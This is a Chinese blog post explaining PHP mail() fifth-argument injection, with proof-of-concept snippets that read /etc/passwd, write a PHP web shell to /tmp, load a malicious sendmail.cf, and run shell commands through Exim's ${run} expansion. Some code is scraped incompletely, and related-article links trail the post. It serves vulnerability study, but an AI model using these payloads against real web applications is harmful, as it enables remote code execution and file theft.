漏洞成因

[email protected]_golunski曝光了多个使用PHP mail函数引发命令执行的漏洞。众多使用php内置mail函数的第三方邮件库,如phpmailer,SwiftMailer 纷纷中招。这些漏洞的成因和之前曝光的Roundcube命令执行漏洞如出一辙,都是由于其在调用php内置mail函数时,没有恰当过滤第5个参数,可以被注入恶意参数,引发命令执行漏洞。

mail()函数介绍1

2

3

4

5bool mail ( string $to 电子邮件收件人,或收件人列表

, string $subject 电子邮件的主题

, string $message 邮件内容

[, string $additional_headers

[, string $additional_parameters ]] ) 许多web应用使用它设置发送者的地址和返回路径

这里最后一个参数( $ additional_parameters),允许注入额外的参数给系统安装的/usr/bin/sendmail程序,该程序使用mail()发送消息。

在Linux系统上,mail函数在底层实现中,默认调用Linux的sendmail程序发送邮件。

例:使用mail()函数发送邮件1

2

3

4

5

6

7

8$subject="simple email ";

$headers =

$body="body of the message";

mail($to,$subject,$body,$headers,"-f $sender");

?>

php将调用execve()执行sendmail程序1execve("/bin/sh","sh","-c","/usr/sbin/sendmail -t -i -f [email protected]"],[/* 24 environment var */])

-t和-i参数由PHP自动添加。参数-t使sendmail从标准输入中提取头,-i阻止sendmail将’.’作为输入的结尾。-f来自于mail()函数调用的第5个参数。

如果一个攻击者能够注入数据到mail()函数的第5个参数中,就会导致命令注入1/usr/sbin/sendmail -t -i -f [email protected] exta_data

虽然PHP会使用escapeshellcmd函数来过滤参数的内容,对特殊字符的转义来防止恶意命令执行(`|*?~<>^()[]{}$, x0A and xFF.’ “这些字符都不能使用),但是我们可以添加命令执行的其他参数。

-X logfile是记录log文件的,就是可以写文件;

-C file是临时加载一个配置文件,就是可以读文件;

-O option=value 是临时设置一个邮件存储的临时目录的配置。

使用-C参数文件任意读1/usr/sbin/sendmail -t -i -f [email protected] -C/etc/passwd -X /tmp/output.txt

保存/etc/passwd 的内容到/tmp/output.txt

任意文件写/远程代码执行

Sendmail MTA版本的/usr/sbin/sendmail的-X参数也能和下面参数组合使用1

2

3

4

5

6

7

8$subject="simple email ";

$headers =

$body="<?php phpinfo();?>";

$sender="[email protected] -OQueueDirectory=/tmp/ -X/tmp/poc.php";

mail($to,$subject,$body,$headers,"-f $sender");

?>

这里的意思就是说我们将发送邮件的信息如body临时文件保存在tmp下面,最后将日志保存在/tmp/poc.php,写到poc.php 文件的内容就是我那个发送邮件的内容了

注:-OQueueDirectory=/tmp/ 可以简写成-oQ/tmp/ -X后也可用相对路径

Sendmail MTA:通过sendmail.cf远程代码执行

如果当前目录你没权限写怎么办?

或者写入的文件没办法执行怎么办?

在一个安全部署的web应用中,在上传目录(upload目录)的PHP脚本执行可能是被禁止的,且应用只允许上传静态文件(如纯文本、图片等)。发现的新的攻击向量能打破这些限制。因为sendmail接口允许通过-C参数加载一个自定义的Sendmail MTA配置文件,攻击者通过web应用的上传功能上传一个恶意的配置文件,使用它强制Sendmail执行恶意的代码这能通过复制一份/etc/mail/sendmail.cf配置文件并使用下面的Sendmail配置替换文件末尾的默认的Mlocal邮件处理函数来实现添加一段代码:1

2

3

4Mlocal, P=/usr/bin/php, F=lsDFMAw5:[email protected], S=EnvFromL/HdrFromL,

R=EnvToL/HdrToL,

T=DNS/RFC822/X-Unix,

A=php -- $u $h ${client_addr}

$sender payload将使用相对路径从upload/sendmail_cf_exec加载构造的Sendmail MTA配置文件,使用它处理来自mail()函数的邮件Sendmail MTA将启动/usr/bin/php进程并处理$body中的消息。有这么一种场景,一个攻击者能简单的使用/tmp目录来存放恶意的配置文件,然后使用mail()漏洞加载配置并在受害者用户上下文中获得代码执行。

Sendmail MTA:通过文件读和文件追加造成拒绝服务

-C和-X参数能用来对目标执行拒绝服务攻击,方法是使用-C选项读取大的已知文件(如web服务器日志),并追加他们到一个可写目录下的文件中(如/tmp、/var/www/html/upload、/var/lib/php5/sessions等),以消耗磁盘空间。尽管这个例子只限于Sendmail MTA,这个向量也可能影响更多的MTA服务器,只要使用其他MTA支持的类似的参数来做到。

注:

Mail()参数注入被认为几乎不可能利用,因为多年来5th个参数都被认为不太可能暴露到web应用控制面板外面来接收恶意输入,其通常受限于管理员用户,因此很少被远程利用。

找到mail()参数注入漏洞,也不能保证一个成功的利用,因为依赖web服务器安装的MTA版本,直到现在也只有很少使用的Sendmail MTA的2个向量 –X和-C(文件写/读)。

由于复杂性和一些历史漏洞原因,Sendmail MTA很少被使用。现代linux分发中已不再默认包含它,且在基于Redhat的系统(如centos)上被Postfix MTA替换,在基于Debian的系统(如Ubuntu、Debian等)上被Exim MTA替代。

这使得在真实环境中很难找到Sendmail MTA。即使找到了,有时也会因为一些限制导致利用失败(如修改webroot路径、php执行目录等)。

有一种新的利用向量,能在Exim和Postfix上使用

所有的MTA:抢夺邮件/执行侦查1

2

3

4

5

6

7

8$subject="simple email ";

$headers =

$body="<?php phpinfo();?>";

mail($to,$subject,$body,$headers,"-f $sender");

?>

[email protected]内容包含了:

使用的操作系统版本(Debian)

服务器IP

使用的MTA版本(8.14.4,是Sendmail MTA)

发送消息的脚本名,继而揭露电子邮件发送库/框架的名(如X-PHP-Originating-Script: 0:class.phpmailer.php)

如果应用使用了电子邮件库(如PHPMailer、Zend-mail等)。可能会有版本头。

知道了使用的库,攻击者能调整他们的攻击的系统、MTA和PHP电子邮件库。

例如,PHPMailer库有版本有漏洞:PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)

Exim MTA:远程代码执行

/usr/sbin/sendmail接口由Exim4提供,它有丰富的功能

研究表明-be选项对于攻击者很有用, 更深入的研究发现${run}能扩展到shell命令的返回结果

${run{}{}{}}//执行命令,成功返回string1,失败返回string2

${run{/bin/true}{yes}{no}} 成功执行/bin/true后会扩展为'yes'

这很快就能转化为任意远程代码执行payload,能执行在$body内的任意shell命令:1

2

3

4

5

6

7

8$subject="simple email ";

$headers =

$body="Exec :${run{/bin/bash -c "usr/bin/id >/tmp/id"}{yes}{no}}";

mail($to,$subject,$body,$headers,"-f $sender");

?>

参考链接:

php mail 权限,PHP mail()函数漏洞总结 · MYZ’s Blog相关推荐

  1. 127.0.0.1 myz.php,XXE漏洞总结 · MYZ’s Blog

    就先以这次校赛的例子作为开头吧 ctf 首先说一说这次的题: 这一次的题是一种回显式的xxe,但是过滤了ENTITY参数.(有点难以判别) 贴出源码:1 2 3 4 5 6 7 8 9 10 11 1 ...

  2. java mail 签名_java mail实现Email的发送,完整代码

    java mail实现Email的发送,完整代码 1.对应用程序配置邮件会话 首先, 导入jar com.sun.mail javax.mail 1.5.2 javax.mail.Session保存邮 ...

  3. PHP中MD5函数漏洞

    题目描述 一个网页,不妨设URL为http://haha.com,打开之后是这样的 if (isset($_GET['a']) and isset($_GET['b'])) {if ($_GET['a ...

  4. CTF web题总结--php函数漏洞

    php函数漏洞总结 1.ereg()截断漏洞 代码: <?php session_start(); if (isset($_POST['submit'])) {$verifycode = $_P ...

  5. php字符长度函数漏洞 ctf,CTF中常见php-MD5()函数漏洞

    CTF中常见php-MD5()函数漏洞 1.数字与字符串之间的比较 var_dump( 0 == "a" ); var_dump( "0" == "a ...

  6. java mail header_java使用mail发送邮件时出现乱码如何解决

    java使用mail发送邮件时出现乱码如何解决 发布时间:2020-06-24 13:23:24 来源:亿速云 阅读:199 作者:Leah java使用mail发送邮件时出现乱码如何解决?相信很多没 ...

  7. You have mail in /var/mail/root

    文章目录 关闭邮件提醒 取消自动关闭窗口 关闭邮件提醒 随便输入命令就提示You have mail in /var/mail/root,这里提供一下关闭的方法: You have mail in / ...

  8. 第59天-权限提升-Win 溢出漏洞及 ATSCPS 提权

    思维导图 知识点 #明确权限提升基础知识:权限划分 #明确权限提升环境问题: WEB 及本地 #明确权限提升方法针对:针对方法适应问题 #明确权限提升针对版本:个人及服务器版本;针对方法; 知识点必备 ...

  9. 权限提升-Win溢出漏洞及ATSCPS提权

    明确权限提升基础知识:权限划分 明确权限提升环境问题:web及本地 明确权限提升方法针对:针对方法适应问题 明确权限提升针对版本:个人及服务器版本,针对方法知识点必备: 用户及用户组权限划分:Wind ...

最新文章

  1. 高效排序算法(希尔排序)
  2. BC26通过MQTT协议连接ONENET,AT流程
  3. 旋转图像Python解法
  4. static函数与普通函数区别
  5. 软件定义,软件开发,软件维护
  6. 一个多业务、多状态、多操作的交易链路?闲鱼架构这样演进
  7. BZOJ 1071组队
  8. [Err] 1093 - You can't specify target table 'xxx' for update in FROM clause解决方法
  9. LINUX 添加xp虚拟机
  10. 测试工程师值得被尊重!是否有此共鸣!
  11. 服装商城电商-前端网页技术精美完整源码HTML+CSS+JS
  12. linux系统富士通打印机驱动,PRIMERGY:驱动下载 - 富士通中国
  13. 用cookie实现查看浏览记录
  14. 放弃吧少年,Leader才不会管你死活
  15. 介绍两种游标cursor与sys_refcursor
  16. 随机指标计算机程序,MACD/随机指标组合应用分析
  17. google学术出现错误
  18. Java调用ffmepg+mencoder视频格式转换
  19. 圣墟 第一百三十章 神转折
  20. html自动执行bat,bat脚本启动程序 怎么命令bat打开某个文件

热门文章

  1. 教你自制五星级大酒店用的调味品
  2. source insight无法识别函数定义
  3. 转载 tiny6410 使用rt5370 usb无线网卡
  4. 整理UI设计的三个分类,入门前要清楚!
  5. lcy老师的训练反思
  6. 【Linux_选择题】(D35 0604)
  7. iOS7开发~企业发布
  8. 3ds_max入门教程
  9. PLC学习笔记(三):PLC结构(2)
  10. python发微信提醒天气冷了注意保暖_2019天气转冷注意保暖微信 2019天气冷注意保暖的句子(图文)...